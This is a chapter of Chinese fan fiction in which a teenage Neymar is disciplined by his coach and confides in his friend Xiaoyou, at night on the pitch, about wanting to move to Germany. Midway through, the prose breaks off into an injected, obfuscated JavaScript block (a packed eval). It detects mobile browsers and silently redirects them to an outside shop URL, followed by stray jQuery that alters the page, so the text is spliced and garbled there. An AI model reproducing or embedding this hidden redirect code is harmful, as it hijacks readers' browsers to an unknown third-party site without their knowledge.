内马尔平时挨教训的不少,不过他性格外向,又很坦率,挨骂了就不好意思地挠挠头。
自己知道错误的话,会去拥抱教练或者助教,黏黏糊糊地说知道错了。
严肃的大人架不住小孩撒娇,最后摸摸脑袋,“记住这次教训,”然后就放过了犯错的小少年。
但这次他没有被放过。
内马尔犹豫几下,望向小幼的眼睛。
她的眼睛很黑,别人都会有倒映的光点,看上去非常有神,但她眼珠子很特殊,总是黑漆漆的。
内马尔十五岁后身高接近一百七十公分,但是很纤瘦,细长的美少年身材,体重已经是同龄人里最轻的。
而小幼比他矮半个头,体重居然还能比他轻十五千克。
瘦小苍白的脸上一对黑黑的眼睛,喜欢沉默地站在角落,像什么瓷白又没人气的黏土娃娃。
内马尔不舒服,直觉地拉着她去玩。
让她能够像别的小孩那样摔跤,又面无表情地惊叹他的衣服有多花哨。内马尔一边大骂她眼光差,一边心里安心不少。
现在黑色的眼睛看着他,眼珠里面只有他的倒影。
内马尔开始讲今天发生了什么。
众人走后教练在训他,他虽然一直应声,但没有听进心里。
教练的观点是球场是团队,他和其他人应该各司其职。他只需负责边路进攻,而不到后腰帮忙防守。
内马尔不解。
如果他们能拦住,他当然不会回去,但他们不能。
对面一直从左边进攻,十次里面能漏九次,难道要死板地遵守纪律吗?
他不敢触教练眉头,便说着‘是是是’‘好好好’、可这次教练非要让他保证绝不再犯。
内马尔嘁一声,睁着眼睛开始保证:“我保证…”
反正上场了他就听不见!这是内马尔在保证,和场上踢球的球员无关。
内马尔是谁啊?他不认识。
只是他内心侥幸的打算被人识破,扬尼斯打断他:“拿小幼保证。”
“…”沉默,内马尔:“你”
“我什么?没听懂我的意思吗,”扬尼斯道,“那就重复我的话。要是我内马尔再屡教不改,那小幼离开这里。”
内马尔急了:“我的事情和她什么关——”
“你要是发自内心地保证,现在急什么?”
气急败坏的小刺头卡壳了。
几分钟后仍然站在原地,被直接戳穿后下不来台,但就是说不出半句保证。
这一段他没告诉某个人,有什么好说的,说了也只会苦着脸瞎烦恼。
“教练说每次擅自乱跑都会掏空整条左路,然后导致毁掉整个队伍的布局。”
“可我赢了呀。”
这个训练赛他赢得很漂亮,连输两球之后的十分钟内,他靠回防顺利地找到对方的漏洞,直接追回两球。
战术战术,难道就是自己永远守在前锋吗?足球需要什么战术?有球有机会就去追,这是巴西这不是他们那群欧洲人,要那么多纪律干什么。
他言之凿凿地为自己辩解,为自己的想法夸夸其谈,说完恨不得鼓掌。
然后顺利地拿到惩罚。
内马尔听着扬尼斯的话沉默,下一场比赛只能观战。
.
小幼听完了经过,拉着内马尔一起躺在床上。
根据内马尔的描述,她大概明白问题所在:教练应该是在说内马尔的离开会暴露大片的左路空档。
他很草率,轻易地离开既定的位置,他是赢了,但那是他的天赋在兜底。
赛后没人敢骂功臣,队友只看到绝杀,但是他确实触犯了队内应该保持的纪律。
打乱全队、私自越位回撤、无视纪律,全部都是实打实的战术错误,这也是扬尼斯对他生气的原因。
想到这里她突然坐起来,这导致内马尔身边空了一块。
男孩子下意识抓住对方的手臂,想把人拽回来,小幼轻轻挣扎一下爬下床,从衣柜里找出内马尔挂着的球衣,再套在自己身上。
然后她转身,紧接着内马尔听到了很神奇的一句话:“我们去踢球吗?”
“…哈?”
.
两个人大半夜偷偷来到球场,内马尔觉得小幼这个提议匪夷所思,但是又很高兴,故意秀给小幼看。
他连连做一些花式足球里的动作,他球感太好了,几乎人球一体,环绕地球这样的动作可以一直转圈。
小幼觉得新奇,也跟着尝试,连连几次都失败。
内马尔故意逗她玩,踢着球跑远,再回头大叫:“快点来我这里!”
于是内马尔看着小幼跑起来,不伦不类地穿着他的球衣,头发晃动摇摆。
可是球场的灯光很明亮,所以她的眼里汇聚了一些光点,粼粼的目光集中在他身上,仿佛全世界只剩他一个人。
某个天才本来踩着球,突然一脚把球踢飞。
这让对方因为追球而失去平衡,紧接着一头栽在大笑的天才球员身上。
巨大的球场里探照灯像白色的光束,足球在飞向远方,身边蒙着光圈的身影飞扑着拥抱。
好朋友在巴西的夜晚相拥在一起。
内马尔顺势往后躺,咕噜噜在地上打滚,身上都带上了小草。
小幼晕乎乎几秒才撑着手坐起来,内马尔在她旁边,现在脸上的表情看上去很明亮。
她凑过去:“现在高兴了吗?”
男孩子依旧躺着,双手枕在脑后:“我都说啦,我并不难过。”
“那…”小幼歪头,“你知道自己犯错了对吧。”
看着天空的眼睛眨动,再挪到对方脸上。
小幼假装没看见,伸出手指数数:“知道自己没有听从命令,知道自己违反了教练的安排,知道自己差点因为暴露缺点闯下大祸…”
内马尔脸色变冷,起身要走:“连你也想批评我呢?”
他甩脸色:“不想听了。”
但他被人拽着,再被人压住,内马尔被批了一顿脾气上来了想把她推开,小幼大叫‘肚子痛’顺利阻止了他的动作。
等他不挣扎了她才凑过去,看着表情不善的男孩子:“第一个问题,我不是要批评你。”
“其次,这些都是真的…等一下别动别动,你先听我说完。”
“这些都是问题,想赢是真的,爱踢足球是真的,球场上爱赌气的时候是真的,爱玩是真的,不服管教也是真的…啊肚子好痛!不要动。”
内马尔:“你别装可怜了!”
“哪里痛?”手贴在衣服上,“我不知道怎么帮你。”
他想把人提起来扔回房间,可在那之前——
“不过梦想也是真的。”
“想为队伍获得荣誉也是真的。”
小幼认真地:“想为巴西再获得荣誉,也是真的,是不是?”
七年前巴西拿下第五颗星,而三年前摘星的是意大利,明年,2008年,新的一届世界杯即将来临。可内马尔那时才十六岁,这些东西和他无关。
但是下下次内马尔就二十岁了。
他并没有自谦什么‘未来的事未来再说’,真正被天赋选中的人都知道自己的责任和使命。
他很谨慎地在考虑未来的事情。
感受到内马尔的安静,她把头靠过去:“你觉得自己未来会遇到这样的情况对吗?”
未来他的队友可能也是现在这样,组织能力并不出众,他不能永远安于现状留在边路,他要寻找新的办法。
小幼继续问他:“你知道自己擅自行动后如果输了的结果吗?”
她说:“自大、无能、团队失败的根源。”
他想往前冲,想带着巴西突破,那就要承担风险,这些就是他的风险。
赢了当然没事,但是输了的话,他就要被钉在耻辱柱上。
内马尔嘲讽地笑一声:“你想多了我才不在意呢。”
小幼心想才怪呢,明明别人随便一句话他就会伤心。
难道他不清楚这些吗,随遇而安或者安分守己是聪明人的做法。
不出格就不会有被挑刺的机会,他老老实实地当好自己的边路,输了也就是一句别人传控不行。
可等到他二十岁的时候,世界杯在家门口举办。
六十四年,足球在外面转了六十四年,终于回到这个土地,终于轮到巴西举办世界杯。
桑巴王国
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730328|208509||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
经过六十四年再迎他们久违的朋友。
所以他明明可以选择更周全的、更成年人的做法,可他是个很笨的人。
对纯粹的人来说,被千夫所指的风险很大很严重,可远远不如他弯下腰来擦亮第六颗星。
带着证明自己的梦想,带着争夺荣誉的愿望,在家门口为巴西敞开双臂。
再欠身做一个弯腰的礼仪,像桑巴舞者终幕,又像多年旧友重逢。
带上沉沉的笑,满身的汗水,一路的鲜血和眼泪,对着足球真诚地说一句:
“多年未见,欢迎回家。”
内马尔现在只有十五岁。
他并不世故和老练,甚至于说有点愚蠢。
他只想着迎难而上,所以哪怕现在遇到很多挫折,哪怕未来他走错一步就会被唾骂指责,他也要头破血流地冲上去。
可十五岁的少年有一颗执着的心。
比钻石还要真。
足球场上女孩子趴在男孩子身上,用轻轻的语气撬开了朋友心里的事情。
内马尔沉默了很久,突然箍紧他的朋友。
有件念头他没有和任何一个人说过,因为他不知道这个选择到底是对是错,所以他只把这个事情当作小插曲。
但现在,内马尔突然有了一些勇气。
欧洲,那个地方劲旅林立。
从皇马回来之后,他虽然说着破烂西班牙,但他也知道了世界上群星璀璨,而未来他要代表南美足坛去踢馆,所以他开始了解欧洲那样的地方。
西班牙是技术流的巅峰,意大利在把防守完成混凝土,法国开始在后齐达内时代的新星涌现。
内马尔有很多东西都不懂,语言、各种乱七八糟的名字,但他很认真地在认识这些。
所以他注意到了德国。
少帅克林斯曼确立攻势足球,要求球队攻防指之间能够快速转换,勒夫又进一步加强了进攻。
所以德国能够做到保持高空轰炸的高压迫,也能地面渗透,进行快速有效的防守。
五个月前,内马尔刚过生日。
他外出去检查牙齿,有人来找他,当时他原本打算转身就走,而这个说辞最终让他停下脚步。
内马尔犹豫几下,把他的朋友抱得更紧一点,他想去德国,很想去,甚至已经开始接触。
但是,内马尔低声:“如果我想去德国,你陪我好不好,你陪着我吧。”
“我会照顾你…我不是很会但是我可以学。我好好照顾你,不让你肚子痛。”
“也会挣钱给你,你是我的朋友,我们应该一直在一起…”
不对。
内马尔猛地低头,发现小幼正白着脸喘气,他连忙坐起来,吓得手脚发软:“你怎么了,不舒服吗?等我,我现在…”
“没事。”
巨大的摇晃让小幼从昏迷里醒来,她努力睁开眼睛:“我只是肚子痛,生理期都是这样的。”
看内马尔的表情,她又扯开一个笑:“女孩子很辛——”
她被人猛地抱住。
内马尔把头埋在她的脖子间,又急又怒地骂她:“你吓死我啦!你不舒服你告诉我呀。你真是吓死我了。”
“你不能这样你真的不能这样,你不说话不告诉我,我不知道你什么感受,我…我讨厌你这样。”
小幼听到他的声音,男孩子因为不好意思在强压哽咽,她心疼内马尔,便回抱他,连连揉他的脑袋,毛茸茸的小栗子一样。
咳嗽几下,安慰他:“吓到你啦对不起嘛,别害怕,我真的没事的,都怪我,是我吓到你了,那你现在带我回去吧。”
内马尔起来背着她,小幼想缓和情绪,保持清醒和他开玩笑,说他以后想干什么。
可他不想听这些:“你别说话了,我…我不想这些,我。”
内马尔低声:“我只希望你健健康康的。”
“肯定会的。”
“你保证。”
她伸出手拉钩:“我保证会健健康康的,永远永远永远陪着你,永远不分开。”
内马尔掂一下她:“你坐我手上,我没有手和你拉钩。”
“那你长三只手就好了。”
“我会被抓起来的。”